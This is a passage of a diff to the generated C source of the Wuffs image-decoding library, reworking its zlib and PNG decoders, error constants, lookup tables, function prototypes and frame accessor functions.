num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 24) { ++ t_4 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; + } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch >> 32)); +- break; ++ } ++ self->private_impl.f_chunk_type = t_4; ++ } ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ if (self->private_impl.f_chunk_type != 1413563465u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); ++ } ++ } else { ++ if ((self->private_impl.f_chunk_type != 1413571686u) || (self->private_impl.f_chunk_length < 4u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 4u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_pass.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 24) { ++ t_5 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } + } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); ++ v_seq_num = t_5; ++ } ++ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); ++ goto exit; ++ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ goto exit; + } ++ self->private_impl.f_next_animation_seq_num += 1u; + } +- v_checksum_want = t_3; +- } +- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_got != v_checksum_want)) { +- status = wuffs_base__make_status(wuffs_zlib__error__bad_checksum); ++ continue; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) > 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input); + goto exit; + } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ } ++ if (self->private_impl.f_workbuf_wi != self->private_impl.f_pass_workbuf_length) { ++ status = wuffs_base__make_status(wuffs_base__error__not_enough_data); ++ goto exit; ++ } else if (0u < ((uint64_t)(a_workbuf.len))) { ++ if (a_workbuf.ptr[0u] == 4u) { ++ a_workbuf.ptr[0u] = 1u; ++ } + } + + ok: +- self->private_impl.p_do_transform_io[0] = 0; ++ self->private_impl.p_decode_pass = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_transform_io[0].v_checksum_got = v_checksum_got; ++ self->private_impl.p_decode_pass = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -52440,2021 +66092,1710 @@ wuffs_zlib__decoder__do_transform_io( + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_png__error__bad_animation_sequence_number[] = "#png: bad animation sequence number"; +-const char wuffs_png__error__bad_checksum[] = "#png: bad checksum"; +-const char wuffs_png__error__bad_chunk[] = "#png: bad chunk"; +-const char wuffs_png__error__bad_filter[] = "#png: bad filter"; +-const char wuffs_png__error__bad_header[] = "#png: bad header"; +-const char wuffs_png__error__bad_text_chunk_not_latin_1[] = "#png: bad text chunk (not Latin-1)"; +-const char wuffs_png__error__missing_palette[] = "#png: missing palette"; +-const char wuffs_png__error__truncated_input[] = "#png: truncated input"; +-const char wuffs_png__error__unsupported_cgbi_extension[] = "#png: unsupported CgBI extension"; +-const char wuffs_png__error__unsupported_png_compression_method[] = "#png: unsupported PNG compression method"; +-const char wuffs_png__error__unsupported_png_file[] = "#png: unsupported PNG file"; +-const char wuffs_png__error__internal_error_inconsistent_i_o[] = "#png: internal error: inconsistent I/O"; +-const char wuffs_png__error__internal_error_inconsistent_chunk_type[] = "#png: internal error: inconsistent chunk type"; +-const char wuffs_png__error__internal_error_inconsistent_frame_bounds[] = "#png: internal error: inconsistent frame bounds"; +-const char wuffs_png__error__internal_error_inconsistent_workbuf_length[] = "#png: internal error: inconsistent workbuf length"; +-const char wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input[] = "#png: internal error: zlib decoder did not exhaust its input"; +- +-// ---------------- Private Consts +- +-#define WUFFS_PNG__ANCILLARY_BIT 32 +- +-static const uint8_t +-WUFFS_PNG__INTERLACING[8][6] WUFFS_BASE__POTENTIALLY_UNUSED = { +- { +- 0, 0, 0, 0, 0, 0, +- }, { +- 3, 7, 0, 3, 7, 0, +- }, { +- 3, 3, 4, 3, 7, 0, +- }, { +- 2, 3, 0, 3, 3, 4, +- }, { +- 2, 1, 2, 2, 3, 0, +- }, { +- 1, 1, 0, 2, 1, 2, +- }, { +- 1, 0, 1, 1, 1, 0, +- }, { +- 0, 0, 0, 1, 0, 1, +- }, +-}; +- +-static const uint8_t +-WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 255, 85, 0, 17, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 8, 4, 0, 2, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_PNG__NUM_CHANNELS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1, 0, 3, 1, 2, 0, 4, 0, +-}; +- +-static const uint16_t +-WUFFS_PNG__LATIN_1[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 32, 33, 34, 35, 36, 37, 38, 39, +- 40, 41, 42, 43, 44, 45, 46, 47, +- 48, 49, 50, 51, 52, 53, 54, 55, +- 56, 57, 58, 59, 60, 61, 62, 63, +- 64, 65, 66, 67, 68, 69, 70, 71, +- 72, 73, 74, 75, 76, 77, 78, 79, +- 80, 81, 82, 83, 84, 85, 86, 87, +- 88, 89, 90, 91, 92, 93, 94, 95, +- 96, 97, 98, 99, 100, 101, 102, 103, +- 104, 105, 106, 107, 108, 109, 110, 111, +- 112, 113, 114, 115, 116, 117, 118, 119, +- 120, 121, 122, 123, 124, 125, 126, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 41410, 41666, 41922, 42178, 42434, 42690, 42946, +- 43202, 43458, 43714, 43970, 44226, 44482, 44738, 44994, +- 45250, 45506, 45762, 46018, 46274, 46530, 46786, 47042, +- 47298, 47554, 47810, 48066, 48322, 48578, 48834, 49090, +- 32963, 33219, 33475, 33731, 33987, 34243, 34499, 34755, +- 35011, 35267, 35523, 35779, 36035, 36291, 36547, 36803, +- 37059, 37315, 37571, 37827, 38083, 38339, 38595, 38851, +- 39107, 39363, 39619, 39875, 40131, 40387, 40643, 40899, +- 41155, 41411, 41667, 41923, 42179, 42435, 42691, 42947, +- 43203, 43459, 43715, 43971, 44227, 44483, 44739, 44995, +- 45251, 45507, 45763, 46019, 46275, 46531, 46787, 47043, +- 47299, 47555, 47811, 48067, 48323, 48579, 48835, 49091, +-}; +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_2( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__do_decode_image_config( +- wuffs_png__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_ihdr( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__assign_filter_distance( +- wuffs_png__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint64_t +-wuffs_png__decoder__calculate_bytes_per_row( +- const wuffs_png__decoder* self, +- uint32_t a_width); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__choose_filter_implementations( +- wuffs_png__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_other_chunk( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src, +- bool a_framy); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_actl( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++// -------- func png.decoder.frame_dirty_rect + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_chrm( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_png__decoder__frame_dirty_rect( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_exif( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++ return wuffs_base__utility__make_rect_ie_u32( ++ self->private_impl.f_frame_rect_x0, ++ self->private_impl.f_frame_rect_y0, ++ self->private_impl.f_frame_rect_x1, ++ self->private_impl.f_frame_rect_y1); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_fctl( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++// -------- func png.decoder.num_animation_loops + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_gama( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_png__decoder__num_animation_loops( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_iccp( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++ return self->private_impl.f_num_animation_loops_value; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_plte( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++// -------- func png.decoder.num_decoded_frame_configs + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_srgb( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_png__decoder__num_decoded_frame_configs( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_trns( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++ return ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__do_decode_frame_config( +- wuffs_png__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++// -------- func png.decoder.num_decoded_frames + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__skip_frame( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_png__decoder__num_decoded_frames( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__do_decode_frame( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++ return ((uint64_t)(self->private_impl.f_num_decoded_frames_value)); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_pass( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); ++// -------- func png.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__do_tell_me_more( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_png__decoder__restart_frame( + wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } else if ((a_index >= ((uint64_t)(self->private_impl.f_num_animation_frames_value))) || ((a_index == 0u) && (a_io_position != self->private_impl.f_first_config_io_position))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ if (self->private_impl.f_interlace_pass >= 1u) { ++ self->private_impl.f_interlace_pass = 1u; ++ } ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ self->private_impl.f_num_decoded_frame_configs_value = ((uint32_t)(a_index)); ++ self->private_impl.f_num_decoded_frames_value = self->private_impl.f_num_decoded_frame_configs_value; ++ return wuffs_base__make_status(NULL); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); ++// -------- func png.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle_tricky( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_png__decoder__set_report_metadata( + wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); +- +-// ---------------- VTables ++ uint32_t a_fourcc, ++ bool a_report) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_png__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_png__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_png__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_png__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_png__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_png__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_png__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_png__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_png__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_png__decoder__workbuf_len), +-}; ++ if (a_fourcc == 1128813133u) { ++ self->private_impl.f_report_metadata_chrm = a_report; ++ } else if (a_fourcc == 1163413830u) { ++ self->private_impl.f_report_metadata_exif = a_report; ++ } else if (a_fourcc == 1195461953u) { ++ self->private_impl.f_report_metadata_gama = a_report; ++ } else if (a_fourcc == 1229144912u) { ++ self->private_impl.f_report_metadata_iccp = a_report; ++ } else if (a_fourcc == 1263947808u) { ++ self->private_impl.f_report_metadata_kvp = a_report; ++ } else if (a_fourcc == 1397901122u) { ++ self->private_impl.f_report_metadata_srgb = a_report; ++ } ++ return wuffs_base__make_empty_struct(); ++} + +-// ---------------- Initializer Implementations ++// -------- func png.decoder.tell_me_more + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_png__decoder__initialize( ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_png__decoder__tell_me_more( + wuffs_png__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- self->private_impl.choosy_filter_1 = &wuffs_png__decoder__filter_1__choosy_default; +- self->private_impl.choosy_filter_3 = &wuffs_png__decoder__filter_3__choosy_default; +- self->private_impl.choosy_filter_4 = &wuffs_png__decoder__filter_4__choosy_default; +- self->private_impl.choosy_filter_and_swizzle = &wuffs_png__decoder__filter_and_swizzle__choosy_default; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( +- &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); +- if (z.repr) { +- return z; +- } +- } +- { +- wuffs_base__status z = wuffs_zlib__decoder__initialize( +- &self->private_data.f_zlib, sizeof(self->private_data.f_zlib), WUFFS_VERSION, options); +- if (z.repr) { +- return z; ++ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ 